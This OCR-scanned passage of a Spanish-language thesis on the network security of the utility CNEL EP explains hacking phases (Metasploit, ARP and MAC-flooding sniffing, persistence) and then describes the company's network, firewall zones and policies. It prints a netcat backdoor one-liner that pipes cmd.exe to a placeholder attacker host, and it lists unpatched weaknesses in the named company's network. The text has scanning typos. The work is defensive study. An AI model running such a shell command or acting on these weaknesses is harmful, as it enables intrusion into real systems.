comando show options que nos dice los parametros
gue deben ser ingresados con el comando set. Por
ejemplo para ingresar la IP remota del Windows XP
gque se desea hackear ingresamos el comando set
RHOST seguido de la IP

¢ run o exploits: Comandos utilizados para ejecutar un

auxiliar o un exploit respectivamente

1.6.3.2. Ataques de claves mediante sniffer

La forma tradicional para ingresar a un sistema consiste
a través de las credenciales. Pero ello realizaremos el

atague a las credenciales mediante el método de sniffer.

El sniffer o husmeador es un software que le permite
capturar todos los paquetes de red LAN o WLAN,

colocando la tarjeta de red en modo “promiscuo”.
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La captura de paquetes se la puede hacer en una
topologia tipo bus, implementada en un HUB o una red
wireless, usando los dos métodos:

e Inundando el switch (mac flooding).- Si se envia
paguetes tras paquetes al switch que se vea obligado
a: borrar todas su tabla MAC comportandose como
HUB o simplemente no soporte el ataque y se
produzca una denegacion de servicio.

e Engario a los dispositivos finales (ataque hombre en el
medio).- Debido a la debilidad del protocolo ARP
(Adress Resolution Protocol) que permite buscar en
una tabla la direccione MAC una direccion IP, es
posible suplantar las tramas Ethernet que tienen en
sus cabeceras direcciones MAC origen y destino, y no
direcciones IP. Asi se envian paquetes ARP request

como broadcase para conseguir paquetes ARP reply

Mediante estos mecanismos se puede capturar hashes
de Windows (credenciales codificadas), usuario o clave
de aplicaciones Web que estén en texto planos.
Logicamente estos paquetes de red deben ser

analizados con otro programa complementarios.
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B Simbolo del sistema

Figura 1.9: Tabla APR en un computador Windows

Existen dos programas open source muy buenos, el uno
es WireShark para andlisis de paquetes de red, generar
estadisticas y el otro para Etthercat para realizar ataques

hombre en el medio.

Wireshark

Es wun analizador de protocolos, que tiene Ila
funcionalidad de tcdump pero en modo grafico con
muchas opciones de filtrado y organizacién. Actualmente
se lo utliza para reconstruir sesiones, solucionar

problemas de redes.

Ademas es un software libre, se ejecuta sobre

plataformas Windows, Unix y compatibles Linux, Solaris,

FreeBSD, NetBSD, OpenBSD, Android y Mac OSX
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la lo:'Gapturing - Wireshark:
File Edit View Go Capture Analyze Statistics Telephony Tools Help
o @ & | #a + T3 EI

| Filter: |[;t.uri contains "php" || http.content_type == "text/html|” EH Expression... | Clear || Apply |

No. . Time Source Destination @ Protocol | Info
8 5.560823 127.8.08.1 127.0.8.1 HTTP GET /webservice/clienttools/com

Frame 10 (699 bytes on wire, 699 bytes captured)
Ethernet II, Src: 00:00:00 68:00:00 (6P:00:00:00:00:00), Dst: BO:00:00 60:00:00
Internet Protoceol, Src: 127.0.0.1 (127.0.8.1), Dst: 127.0.0.1 (127.8.8.1)
Transmission Control Protocol, Src Port: http (80), Dst Port: 54768 (54768), Seq
Hypertext Transfer Protocol
Line-based text data: text/html

{"response":"pong", "loginLocation”:"\/index.html", "versionok":true,"fullName"

v v v vw

(<] m I
() lo: <live capture in progress=> File:....  Packets: 309 Displayed: 13 Marked: 0

Figura 1.10: WireShark captura de paquetes

1.6.4. Mantener el acceso

Después de haber conseguido el acceso al sistema, evitara ser
detectado por el personal de informética, por lo que usard
recursos propios y los recursos de sistemas, para mantenerse
con un perfil bajo, explorar el sistema atacado que sera usado
como plataforma o equipo para lanzar desde ese sitio nuevos
ataques informaticos para escanear y explotar a otros sistemas
informaticos que pretende atacar. En esta fase se quiere
mantener indetectable, invisible, procede a eliminar cualquier

evidencia de su penetracion y hace uso de técnicas como:

¢ Puertas traseras para facilitar el acceso
e Troyanos para obtener o transferir informacion

¢ Rookit para obtener acceso al sistema operativo



36

e Keyloggers (capturar pulsaciones del teclado), botnets, etc.

Puertas traseras NetCat

Es una herramienta que permite mantener abrir un puerto

TCP/UDP en el HOST quedando a la escucha, para que

mantenga comunicacion desde un equipo remoto ligado a otro

puerto UDP/TCP. A continuacion se lista los parametros mas

usados con nc:

- abre puerto para ser escuchado

-p: puerto de escucha

-k: mantiene el puerto abierto después de haber recibido una
conexion

-u: abre un puerto UDP en vez de TCP utilizado por defecto

-v: detalla informacidn por de la conexién

-t: compatible con sesiones telnet

Ejemplo, se ejecuta en el host de la victima el comando para
escuchar por el puerto 80 y desde el remoto escuchar por el

puerto 25

nc ip_attaker 80 | cmd.exe | nc ip_attaker 25

1.6.5. Borrar huellas
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El atacante no quiere ser detectado, borra el rastro de su
actividad ilicita por dos razones, para mantener el acceso y para

evitar ser detectado.

También utilizara técnicas para no ser detectados, utilizada

herramienta como la esteganografia y el tunneling.

e Esteganografia: Utiliza archivos multimedia como imagenes,
videos y audios para camuflar o esconder archivos en
formatos TXT, EXE, etc.

e Tunneling: Permite encapsular un protocolo de red sobre otro.

Las VPN son ejemplos de tuneles.



CAPITULO 2

MARCO TEORICO

2.1. Diagramade red de datos corporativo.

Cada Unidad de Negocio de CNEL EP tiene implementado el mismo

esquema de red WAN y LAN hasta la configuracion del switch de core.

La red WAN esta formada por dos firewall en modo activo — pasivo. La
red LAN estd formada por un switch CORE donde se conectan los

switches de acceso y access points de los usuarios finales.

La red WAN de CNEL EP esta implementada por dos proveedores de
servicio publico ISP en modo activo — pasivo. El proveedor activo es
CNT, brinda el servicio de Internet y ademas el de datos que permite la

comunicacion desde la oficina principal en cada UN hacia sus agencias



39

y a las otras UN de CNEL EP incluido el Data Center. El segundo
proveedor pasivo es TELCONET, que sélo brinda el servicio de datos
gque permite la comunicacion desde la oficina principal de cada UN

hasta sélo el Data Center.

UNIDADES DE NEGOCIO

CNEL EP
CNEL Oficina
Datos central
TELCONET

Internet

UNIDAD DE NEGOCID
LOS RIOS

Serviderss Locales

CNEL UN LOS RIOS

| AGENCIAS Y SUBESTACIONES |

Figura 2.1: Diagrama de red de CNEL EP UN Los Rios

2.2. Caracteristicas técnicas de los equipos de comunicaciones.

La infraestructura de red en cada UN de CNEL EP esta implementada
principalmente por equipos de la marca Huawei, como adquisicion
result6 de un concurso en una licitacion realizada en el 2012 para
adquirir equipamiento de infraestructura de red corporativa como son:

router, firewall, switch de core, switch de accesos y access point. Cabe
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mencionar que existen equipos de red otra marca que no han sido
homologadas, la misma que no sera motivo de analisis en esta tesis.
Estos equipos estan clasificados segun su categoria:

e Router implementado con un equipo UTM

e Switch de CORE

e Switch de acceso

e Access Point modelo

2.2.1. Router

Tabla 1: Caracteristicas técnicas del router
Caracteristica Descripcion
Técnica
Modo de trabajo [Router, Transparente, Compuesto
Interconexion  dgSoporta dotlq VLAN

red

Soporta enrutamiento estatico

Soporta enrutamiento dinamico RIP, OSPF,
BGP

Balanceo de carga

Mantenimiento y |VRRP (virtual router redundancy protocol)
disponibilidad VGMP (virtual group management protocol)
HRP (Huawei redundancy protocol)

SNMP vl, v2c, v3

2.2.2. Switch CORE

Tabla 2: Caracteristicas técnicas del switch de CORE

Caracteristicas Descripcién
Técnicas
Puertos 24GE TX + 4 GE Combo + 2x10GE
Capacidad 88Gbps
Forwarding 65.47 Mpps
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VLAN's 4096
Soporta interfaces basado en VLANs, MAC, IP
protocolo, politicas, QinQ y voz

MAC Tabla 32K
Desactivacion aprendizaje basado de MAC en
VLAN
Soporta TRUNK, LACP y mdltples tipos de
balanceo

Router unicasiStatics router

IPv4

Dynamic router protocol: RIP, OSPFv2, ISIS, BGP
QoS Soporta clasificador de trafico

Soporta politica de trafico

Soporta organizador de trafico

Soporta PQ, WRR, DWRR

Soporta 256k ACL

Caracteristicas degDispositivo de seguridad 802.x

seguridad

Deteccion dinamica ARP
Guarda la IP origen
Envenenamiento de MAC
Puerto aislado

Espiar DHCP

Reenvio forzado de MAC

2.2.3. Switch Acceso

Utilizado en las agencias y subestaciones.

Tabla 3: Caracteristicas técnicas del switch de acceso
Caracteristicas [Descripcion

Técnicas

Puertos 48 FE + 4GE FX
Capacidad 17.6Gbps
Forwarding 13.1 Mpps
VLAN'’s 4096

MAC 8k

Soporta interfaces basado en VLANs, MAC, IP
Router  unicastStatics router
IPv4

QoS Soporta clasificador de trafico
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Clasificacion basado en MAC
Caracteristicas |Deteccion dinamica ARP

de
seguridad Guarda la IP origen
Envenenamiento de MAC
Puerto aislado

2.3. Servicio de autenticacién de usuarios

La autenticacion de acuerdo a varias definiciones es un proceso por el
gue una entidad, denominada como un usuario o computador, prueba

su identidad ante otra que puede ser un servidor de aplicaciones.

Existen tres categorias para la verificacion de los métodos de

verificacion:

» Sistemas basado en lo que usted conoce: una clave

» Sistemas basado en lo que usted tiene: una tarjeta, un token,
smartcard (certificados digitales), coordendas, etc.

» Sistemas basado en lo que usted es: una huella, la retina del ojo,
facial, etc.

» Una combinacién de los anteriores.

Las computadoras utilizadas por los usuarios finales de CNEL EP
utilizan como sistema operativo Microsoft Windows, quien de manera
nativa solo soporta dos tipos de autenticacién: claves y smartcards,

actualmente soélo se utiliza claves.
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Hay un servidor de directorio activo alojado en el Data Center que sirve
para autenticar las claves de los usuarios, implementado principalmente
para validar el ingreso de las sesiones de inicio de Windows en cada
computador, y escasamente vinculado a varias aplicaciones

corporativas.

Todas las aplicaciones desarrolladas y adquiridas por CNEL EP utilizan
un solo método de autenticacion, que es basado en lo que usted
conoce, la clave. Excepto el software de gestion documental
implementado por la Vice Presidencia de la Republica, utiliza el sistema
de autenticacion basado en lo usted tiene, un token, que solo esta

dirigido el uso a los directores gerentes de las UN.

La mayoria de los aplicativos utilizados por las diferentes UN no estan
integrados al directorio activo corporativo, siendo los mas vulnerables

los aplicativos web por transmitir sus credenciales en texto plano.

Los aplicativos web utilizados en todas las UN en orden de uso son los
siguientes:

» Sistema de Nomina

» Sistema Financiero

» Sistema de Reclamos Comerciales

» Sistema de seguimiento de auditoria interna.

> Sistema de localizacion de nuevos servicios comerciales
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Estas aplicaciones guardan las credenciales en sus bases de datos, sin
ningun control o estandarizacion de su validacién, donde lo mas
probable que las credenciales viajen directamente a través de la red en

texto plano, vulnerables a su captura.

Estos sistemas mencionados anteriormente serdn analizados
posteriormente para su analisis y descubrir las debilidades, como

explotar sus vulnerabilidades y una propuesta de solucion.

Servicio de autenticacion del control acceso al medio

Con la finalidad de mejorar la seguridad de la informacién, se requiere
gue las computadoras de los empleados de CNEL EP sean los unicos
gque puedan utilizar los servicios de red dentro de la Unidad de Negocio,

caso contrario se les negara el acceso a cualquier recurso de la red.

La mejor forma para controlar el acceso a la red es validando la
direccion MAC de cada dispositivo a la red implementada a través de

los switch de acceso.

Los switch de acceso tienen caracteristicas de seguridad, que permite
autenticar la direccion MAC en forma local o remota. Debido que la
cantidad de computadores que existen en cada UN es variables desde
varios cientos hasta miles, no es practico mantener el registro de cada

direccion MAC en todos los switch de acceso de cada una de las UN,
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sino que lo mas practico es almacenarlo en una base de datos, para
después posteriormente consultarlo remotamente y en caso de existir la
MAC consultada, permitir autenticar el equipo, caso contrario negarle el
acceso. Este proceso de autenticacion si existe y fue definido por la
[IEEE en junio del 2001, denominado el protocolo de autenticaciéon

802.1x

Claro estd que el control de autenticacion deberd de realizarse en la

subcapa 2 del modelo OSI llamada control de acceso al medio MAC, el

protocolo de autenticacion IEEE 802.1X, que fue disefiado

originalmente para redes cableadas, posee mecanismos de

autenticacion, distribucién y autorizacion de credenciales o claves,

también aflade controles de acceso para todos los usuarios que deseen

consumir los recursos de la red. La arquitectura estd compuesta por

tres entidades funcionales:

» El solicitante que se une ala red

» El autenticador - por lo general es un switch localizado en medio del
solicitante y el servidor de autenticacion- hace el control de acceso.

» El servidor de autenticacion quien ejecuta la validacion del solicitante

y procede a realizar la autorizacion.

El IEEE 802.1x est4 basado en el Protocolo Autenticacion Extensible
(EAP), que se usa para transportar la informaciéon de identificacion del

usuario.
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El EAP se basa en un controlador de acceso (switch o Access Point)
llamado autenticador, que permite o niega el acceso de red al

solicitante, proveniente de un servidor de autenticacion.

El servidor de autenticacion Servidor de Acceso a la Red (NAS)
generalmente llamado RADIUS esta definido como el que aprueba la
identidad de los usuarios y aprueba el acceso de acuerdo a sus

credenciales.

Voy a explicar de una facil el funcionamiento del IESS 802.1x,

incluyendo alias las tres entidades funcionales: solicitante=PC,

controlador de acceso=SW y servidor de autenticacion=RADIUS.

e Cuando el PC desea conectarse a la red, el SW recibe la peticion y
envia una solicitud de autenticacion.

e EIlPC envia una repuesta al SW, quien lo enruta al RADIUS.

e EIRADIUS envia un “challenge” al SW, quien lo transmite al PC

e El challenge es un método para establecer la identificacion.

e EIPC responde al challenge.

e Si la identidad es correcta, entonces el RADIUS envia la aprobacion
al SW, quien tiene acceso a la red o parte de ella.

e Si la identidad no es correcta, entonces el RADIUS envia la negacién

al SW, y niega al PC el acceso a la red
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Figura 2.2: Esquema de trabajo del 802.1X
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CAPITULO 3

LEVANTAMIENTO DE INFORMACION

3.1. Zonas de seguridad perimetral.

La seguridad perimetral lo realiza el firewall Huawei en un esquema de
alta disponibilidad, donde utilizan una puerta de enlace redundante a

través del protocolo Virtual Router Redundancia Protocolo (VRRP)

Tabla 4: Caracteristicas técnicas del firewall

Caracteristica técnica [Valor
Control de politica Loose control policy
Strict control policy
Clasificacion de[Packet filter firewall: ACL, Blacklist, ASPF
tecnologia
Proxy firewall
State Inspection Firewall
NAT NAT, NAT server
Defensa de Ataques DoS attacks: syn flood, icmp flood, udp
botnet, cc attack botnet
Scanning
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Spoofing

Firewall virtual
VPN Protocolo IPSec

El firewall controla todo el trafico de datos que circula en la UN, desde
el generado en la oficina principal dirigido hacia las agencias,
subestaciones y otras UN hasta el solicitado y devuelto por el Internet.

También controla el ancho de banda y se protege contra los ataques

mas comunes en nuestro medio.

La administracion de la seguridad estd aplicada por IP o rango de
direccién IP, que pueden contener filtrado: IPS, antivirus, web, mail, ftp

y de aplicaciones.

Estas direcciones IP estan asociadas a una zonas en el firewall, que a
su vez corresponde a las interfaces de donde se origina el trafico de

red.

Cada zona tiene un nombre con un nimero que calificada el nivel de
seguridad, donde el nimero 1 representa a la zona mas insegura y 100

ala zona mas segura.

Figura 3.1: Zonas definidas en el firewall
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Las zonas definidas en CNEL EP, son las siguientes:

e Zona local o el mismo firewall, tiene la maxima seguridad, con el
numero 100

e La red LAN o0 zona trust tiene asignada el nivel de seguridad 85, y es
trafico que circula por las interfaces 0 y 16

e Lared DMZ con el nivel de seguridad 50 no esta defina en esta red

e La red WAN llamada cnel_wan es la Intranet, tiene asignada un nivel
de seguridad 15, circula el trafico de las agencias, subestaciones y
otras UN.

e Lared de Internet o zona unTrust tiene un nivel de seguridad 5

Debido al fluo de datos que existen entre las zonas trust y untrust,
donde se evidencia una traduccion de IP privada a publica y viceversa,
ya sea producto de la navegacion desde la red de LAN, por publicar un
servicio al Internet o simplemente por ingresar por una conexion VPN,

donde se aplica nateo, el servicio de NAT esta habilitado.

El trafico de datos es controla con politicas de seguridad de entradas o
salidas entre dos zonas, definida con el nombre de la zona mas segura
seguida la zona menos segura, aplicado a una IP o segmento de red,
donde se permite o bloquea el trafico, con opciones de filtrado: IPS,

antivirus, direccion WEB, correo o aplicaciones.
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La Oficina Central gestiona las politicas corporativas que deberan
aplicarse en todas las UN, siendo la Gerencia de Seguridad de la
Informacién GSI quien define grupos de listas de sitios web calificados
como: spam, video streaming, sitios inseguros, pornografia, redes
sociales, entidades financieras, noticias, medios de comunicacion,
entidades oficiales, servidores de correos publicos, permitidas,

blogueadas, permitidas, banco, deportes, gobierno, varios, cultura,

hacker, etc.

La idea es calificar a estos listados como listas blancas o negras segun

sea el usuario que lo utilice, calificado como uno de los tres perfiles

creados:

e Perfil gerencia: Tiene todas las paginas y servicios desbloqueados,
exceptuando la lista de sitios definidos en el listado hacker.

e Perfil masivo: Tiene mas restricciones que el perfil gerencia, se
califica como listas negras a las definidas como listas de: redes
sociales, video streaming, pornografia, antivirus virus, bloqueadas,
spam y youtube.

e Perfil recaudador: Bloqueado lo anterior y sélo puede ingresar a las

paginas definidas en las listas: permitidas, banco, deportes, gobierno,

varios, cultura, ti,
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En la figura siguiente se detalla el esquema de red definido por la
Oficina Central que es aplicado a todas las UN, donde esta el firewall
esta configurado en alta disponibilidad implementado con el protocolo
VRRP, quien comunica con los dos proveedores de datos ISP y el

switch de CORE, ademas administra la conexion de Internet.

FW-LRS1 % % FW-LRS2
VARF
@' CORE-LRS

Figura 3.2: Firewall en alta disponibilidad con IP virtual protocolo VRRP

Este esquema de red tiene un pequefio error en su implementacion,
todas las conexiones que provienen desde los ISP llegan al switch de

CORE y no al firewall, como deberia ser. Se explica brevemente estos

errores.
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e La conexion de datos provenientes de CNT llega al switch de CORE
para conectarse al firewall. Ambos puertos sin configuracién de
VLAN's.

e La conexién de datos proveniente de TELCONET llega al switch de
CORE para conectarse al firewall. Ambos puertos sin configuracion

de VLAN's.
e La conexion de Internet proveniente de CNT llega al switch de CORE

VLAN’s 501 para conectarse al firewall VLAN's 501

El firewall tiene opciones de proteccion de seguridad integradas tal
como se muestra en la figura 3.3, que actualmente no se encuentran
activadas, donde existen cuatro grupos:

e Defensa de Ataque

e BlackList Lista negra de direcciones IPv4 que seran bloqueadas

e WhileList: Lista blanca

e IP-MAC Binding: Cuando se necesita asociar una direccion MAC con

una IP

Defensa de Ataques

Previene ataques procesando paquetes de datos, generando una alerta
0 bloguearlos. La defensa de ataques evita las clasicas inundaciones

clasificados por su tipo de trafico y de aplicaciones; ademas controla el
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procedimiento de scanner de puertos, malformaciones de paquetes y

control especial de paquetes.

El tipo trafico, se pueden evitar: syn flood, udp flood, icmp flood, arp
flood. A nivel de aplicaciones puede proteger ataques dirigidos a: sip

flood, http flood, connection flood.

Secospace

HUAWE]L

» | System I

> | etwork Attack Defense Setting

i Router — Altack Defense Type
v Firewall 3 Traffic Type
) Security Protection i @ SYN Flood
o Afttack Defense » o UDP Flood
o Blacklist o |CMP Flood
@ Whitelist o ARP Flood

o IP-MAC Binding B AR IR

m

i Address o SIP Flood

d= Senice . @ HTTP Flood

3@ Application Protocol @ Connection Flood

4| m r & Scan
y | uTH o Malformed Packet
¥
o Special Packet Control

k| WPN
» | User Processing Mode of Attack Packets

Figura 3.3: Proteccion de seguridad embebida en el firewalll

3.2. Politica de calidad de servicio

La Oficina Central no ha generado politicas de Calidad de Servicio QoS,

pero indirectamente cada UN ha implementado este servicio con CNT.

La calidad de servicio se define como el rendimiento promedio de una

red de datos, que permite a las aplicaciones, usuarios, o de garantizar
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un cierto nivel de rendimiento para un flujo de datos con diferentes

prioridades.

La QoS hace referencia a la Clase de Servicio (CoS) como al Tipo de
Servicio (ToS), cuyo objetivo es conseguir el ancho de banda y latencia

necesaria para una determinada aplicacion.

Actualmente a través del proyecto de video vigilancia se han instalado
cadmaras de seguridad en las oficinas de los edificios principales,

agencias y subestaciones de cada UN de CNEL EP.

El trafico generado por las camaras de video vigilancia es transmitido a
través de los enlaces de datos, para finalmente quedar almacenado en
los servidores locales de cada UN. Por lo que es necesario garantizar
un ancho de banda minimo para datos generado por la gestion
administrativa de las agencias y subestaciones y del ancho de banda,

destinarlo para transmitir video de las camaras de video vigilancia.

La QoS esta implementada por CNT, quien configura sus equipos la
distribucion del ancho de banda en la siguiente proporcion:

e Se garantiza el 40% del CIR['] para datos con salida por la Vlan's 1

e Se garantiza el 60% del CIR para video con salida por la Vlan's 90

[1] Wikipedia, “Commited Information Rate”, https://es.wikipedia.org/wiki/Frame_Relay
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Los switch de acceso de CNEL EP se configura los puertos VLAN’s
para las camaras y los computadores. Ademas se configura el puerto

TRUNK entre los switch de CNEL y CNT.

AGENCIAS

CNEL UN LOS RIOS gi 5 VLAN's 1

Figura 3.4: Qos aplicados por CNT en Agencias y Subestaciones

3.3. Politica de control de acceso.

Actualmente existe una politica de control de acceso definida en el
“‘Manual de politicas de seguridad de la informacion” redactada por la
Gerencia de Seguridad de Informacion, aprobada y publicada el 27 de
julio 2015. En este manual se ha definido la “Politica para control y
gestidon de accesos: autenticacion y manejo de contrasefias”, que esta
orientado autenticar el acceso a los sistemas de informacion, pero no
abarca la autenticacion de los dispositivos finales conectados a la

infraestructura de red de CNEL EP.
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A continuacién se hace una breve descripcion de esta politica agrupada

en:

Principios de Control.- EI acceso a los Sistemas de Informacién
requerirda  siempre de autenticacion, basado en algo conocido

(usuario y clave), sin utilizar token o certificados digitales.

e Gestion de Identificadores.- Los usuarios creados son normalizados,
autorizados, individuales no grupales, auditables y responsables de
todas las actividades. Se descartan usuarios anébnimos

e Gestion de contrasefias.- Son responsables de accesos a sernvicios y
de los accesos que se produzcan, no seran visibles, almacenadas,
recordadas o enviar por correo.

e Recomendaciones para uso de contrasefias.- Se definen parametros
como: periodos maximos de rotacion, caducidad, reutilizacion,
longitud minima, complejidad y semantica.

e Responsabilidad de contrasefia.- El acceso y uso de los sistemas de
informacién, base de datos y procesos de negocio, estd sujeto a
normas legales y reglamentarias. La informacion no podra
comercializar

e Gestion de inicio de sesion.- Los errores de la validacion de entrada
no debe evidenciar la informacién errénea. Se define limites de
intentos fallidos, tiempos de espera y se recomienda cifrar en cuanto

sea posible la autenticacion.
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e Auditoria de control.- Revision de los derechos de accesos
asignados, derechos de accesos privilegiados, permisos de accesos

a usuarios que hubiese sufrido modificacion en su responsabilidad.

Debido a la falta de autenticacion de los dispositivos finales conectados
a la infraestructura de red, algunos administradores han tomado

algunas iniciativas para mitigar la inseguridad de las siguientes formas:

e En algunas UN como en Milagro, Los Rios y Guayas — Los Rios
existe restricciones en la asignacion de la direccion IP por el servidor
DHCP, asignando la IP previo a la reserva manual de la direccidon
MAC, pero eso no impide que un atacante pueda conectarse a la red
ingresando manualmente la direccion IP.

e Los switch de accesos no tienen activada la funcionalidad de puerto
seguro 0 Ssu equivalencia, que evita que cualquier computadora
pueda conectarse a cualquier puerto de red de cualquier switch.

e Los switch de acceso no controla los posibles ataques generados por

el protocolo ARP.

Politica del uso de Internet

No existe un politica de uso de Internet vigente, pero en el Manual de
politicas de seguridad de la informacion, generado por la Gerencia de
Seguridad de Informacién en su 4ta version, que se encuentra en fase

de aprobacion por la Gerencia General para su posterior publicacion en
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la Intranet corporativa y ejecucion inmediata, en el capitulo 16 se ha
definido la Politica para el uso de Internet, que en su parte pertinente

dice lo siguiente:

3.4.1. Uso de Internet

Al conectarse a Internet, el equipo asignado al usuario y
por consiguiente la red puede exponerse a algun ataque de los
denominados hackers o de los virus que pueden descargarse
junto con los archivos o programas que se bajan de
Internet. Aun cuando se han implementado herramientas de
seguridad que intentan minimizar estos riesgos, se debe
evitar convertirse en un punto vulnerable para la red Corporativa
e informar al personal de soporte en los casos que se detecten
comportamientos extrafios. Evite conectarse a sitios indebidos

gue no son de trabajo

El Internet es asignado de acuerdo a perfiles de acceso definidos

y asignados por la Gerencia de Tecnologia de la Informacion

3.4.2. Perfiles de navegacion.

» Perfil 1. Acceso de Internet sin restricciones, con
excepciones de bloqueo de categorias como pornografia,

violencia y listas negras. Aplicado a Gerente General,
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Gerentes Corporativos, Asesores de Gerencia,
Coordinadores, Directores, personal de Marketing vy
Comunicacion.

Perfil 2: Acceso de Internet igual que perfil 1, pero bloqueado
las categorias: deportes, militar, redes sociales, loteria,
recreacion, religion, sexual, inmobiliario y del hogar, trabajo,
viajes, moda, enfoque social, humanidad,
transporte&vehiculos,  stream&media, vida, compras,
finanzas, comida-alcohol y tabaco, clubes&sociedades,
vulgar, juegos de azar, drogas ilegales, sitios web cdédigo
maliciosos, crimen, arma, fraude, aborto, suicidio, incitacion
al odio, culto. Pertenecen a éste grupo: Usuarios en general
de las diferentes areas de la Corporacion que ingresan a la
red corporativa.

Perfil 3: Los wusuarios tienen acceso Unicamente a
paginas gubernamentales, bancos, paginas de noticias.
Pertenecen a éste grupo: Personal del Contact Center y
areas de Recaudacion de las Unidades de Negocio de la
Corporacion.

Perfil 4. Usuarios con requerimientos especiales. Se

analizara cada caso de acuerdo al requerimiento
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CUSGS120 FWeL x ',v 1 CNEL i Cocpkonuon Ny x /' Block Page * ‘ - g lg
ibecuador.com.ec
| ¥4 Solicitud de Certific... [Jl] Undercide | Hackin... Curso Hackers | Onli.. B RECUPERACION DE ... FayerWayer - Dosis ... S

Reason: The URL Blacklist 1s filtered
URL: ibecuador com ec

i ACCESO RESTRINGIDO !

Lo sentimos, al momento no dispone de los permisos
respectivos para el ingreso a este sitio web.

Figura 3.5: Mensaje de pagina bloqueada por el firewall

3.4.3. Consideraciones Generales

» En horas laborables, estd permitido acceder a Internet
solo cuando sea  estrictamente necesario 'y  por
requerimiento de informacién para sus funciones dentro
de CNEL EP. Si necesita realizar una investigacién o bajar
informacién de interés particular, se lo podria hacer siempre y
cuando no sea en horas laborables, es decir a partir de

las 17h30 y solo si se encuentra autorizado.

» Todos los accesos a Internet, seran solicitados por los
canales de acceso provistos por la Corporacion, en caso
de necesitar una conexidn a Internet con condiciones

especiales o alterna, ésta debe ser notificada por el
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Gerente o Director del Area y aprobada por la Gerencia

de Seguridad de la Informacion.

» Todos los sitios y descargas seran susceptibles de supervision
ylo bloqueo por parte de la Corporacion si se consideran

perjudiciales y/o improductivos para el negocio.

» Toda la informacién redactada, transmitida y/o recibida
haciendo uso de los sistemas informaticos propiedad de
CNEL EP ylo del seriicio de Internet corporativo se
consideraran, de pendiendo del caso, como informacién
interna o confidencial de la corporacién y se reconocen
como parte de sus datos oficiales. Por lo tanto, de ser
requerido, podra revelarse Unicamente por exigencias legales

a terceros autorizados.

» El equipamiento, los servicios y la tecnologia utilizados para
acceder a Internet pertenecen a CNEL EP y la empresa
podra supervisar el trafico (metadata) generado mediante

las conexiones hacia Internet.
3.4.4. Prohibiciones

» Acceder a Internet para asuntos personales, actividades

politicas, negocios privados, o simplemente para cualquier
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otra actividad que no esté relacionada con las funciones
relativas a su cargo y no se encuentren autorizadas.

Publicar o difundir informacion confidencial de los Sistemas
de CNEL EP a través de Internet.

El envio o la publicacion de informacién difamatoria sobre la
Corporaciéon, sus productos o servicios, trabajadores y/o
clientes

La introduccion de software malicioso en la red de la
empresa y/o la realizacion de actividades que pongan en
peligro la seguridad de los sistemas de comunicacion
electrénica de la empresa

Utilizar Internet para visitar sitios o descargar texto,
imagenes, videos que contengan material pornografico,
racista o politico o promueva la violencia, odio o cualquier
actividad ilegal.

No se permitira el acceso a redes sociales, ni chat en ningun
horario de trabajo a menos que el usuario esté autorizado.
Instalacion y uso de programas de tipo peer-to-peer para el
intercambio de archivos en Internet

Descargar cualquier tipo de programas o software de Internet
e instalarlos en las computadoras de CNEL EP sin previa

autorizacion.
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» Acceso a sitios reconocidos como inseguros, los cuales se
ponga en riesgo los principales valores de la informacién
como son la integridad y confidencialidad.

» El uso de los ordenadores para cometer cualquier tipo de
fraude como descargar, copiar y/o distribuir de forma ilegal
material con derechos de autor (musica, peliculas, libros,
programas, etc.).

» El robo, el uso o la revelacién de las contrasefias de otra
persona sin la autorizacion previa.

» No esta permitido el uso de programas que bloqueen o eviten
las restricciones de seguridad para Internet establecidas en
la Corporacion.

» No esta permitido acceder via Internet a emisoras de radio ni
de television (TV) por motivos recreacionales.

» La presentacién de opiniones personales sin autorizacion en

sitios web como si representaran a la corporacion.

3.5. Politica desvinculacion de personal.

Se ha buscado en la Intranet corporativa, toda la documentacion
relacionada a la desvinculacion de personal, y sobre el procedimiento
gue debe ejecutar tecnologia con la informacion y usuarios creados del

personal desvinculado. Pero la Gerencia de Desarrollo Corporativo
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(GDC), en sus documentos publicados no incluye ningan procedimiento

en los documentos como son:

» Reglamento de retiro voluntario, aprobado 27 de marzo del 2015

» Normas Internas de la Administracion del talento humano, aprobado
el 2 de mayo del 2014

» Procedimiento de desvinculacion, aprobado el 29 de diciembre

2011

La Gerencia de Tecnologia de la Informacién, generd el siguiente

procedimiento:

» Procedimiento para la gestion de los bienes informaticos, aprobado

el 5 de mayo del 2015

La Gerencia de la Seguridad de la Informacion, generd los siguientes

documentos:

»  Procedimiento de control y gestion de usuarios: altas, bajas,

manejo de privilegios, aprobado el 3 de septiembre del 2015

Este procedimiento estd enfocado en usuarios, en dos esquemas de

altas y bajas, ejecutados a través de formularios.

Donde se debe de seguir los siguientes pasos para dar de baja a un

usuario:
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Solicitud de baja de usuario: El responsable es el Jefe de

Arealusuario

Baja de usuario: Responsable es Tl, Direccion de Soporte

Registro: Responsable es Tl, Direccidén de Soporte

En ninguno de los documentos generados por la GTI y GSI no

encuentran detalla informacion relacionada a:

>

El tiempo minimo que debe de emplearse en bloquear al usuario,
computadoras, sistemas, etc.

El tratamiento que debe de ejecutarse sobre la informacion
generada, como: documentos personales almacenados en el
computador asignado, correos electronicos, documentos oficiales

almacenados en el Quipux.

Figura 3.6: Gestion de baja de usuario definido por la GSI



CAPITULO 4
ANALISIS Y DISENO DE LAS PRUEBAS DE

VULNERABILIDAD

4.1. Disefiar la matriz de riesgo.

El riesgo es la probabilidad que ocurra una amenaza que explota una

wvulnerabilidad de un activo informatico, causando un impacto,

comprometiendo la confidencialidad, integridad y/o disponibilidad.

El acuerdo ministerial 166, donde se define el ESQUEMA
GUBERNAMENTAL DE SEGURIDAD DE LA INFORMACION EGSI,
donde CNEL EP es una de las instituciones miembros, acata los

acuerdos generados como el
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Articulo 7: En su esencia dice que cada entidad debe evaluar, disefiar e
implementar un plan de manejo de riesgos de su institucion, en base a
la norma ISO 27005 Gestion del Riesgo en la Seguridad de la

Informacion

La norma define las directrices para elaborar el proceso de andlisis de

riesgo, con los los siguientes subprocesos:

e Establecimiento del contexto.- Definir alcances y los limites de la
gestion de riesgo

e Evaluacion del riesgo.- Analisis del riesgo consiste en identificacion
del riesgo (activos, controles, wvulnerabilidades, consecuencia),
estimacion del riesgo (metodologia para la estimacién de riesgo,
evaluacion de consecuencias, evaluacion de la probabilidad de
incidentes) y evaluacion de riesgo.

e Tratamiento de riesgo.- Reduccion del riesgo, retencién del riesgo,
evitacion del riesgo y transferencia del riesgo.

e Aceptacion del riesgo.- Son todos los activos con riesgo aceptable y
justificado, que no son considerados como criterios normales de
aceptacion de riesgo de la organizacion.

e Comunicacion de riesgo.- Intercambiar o compartir la informacion
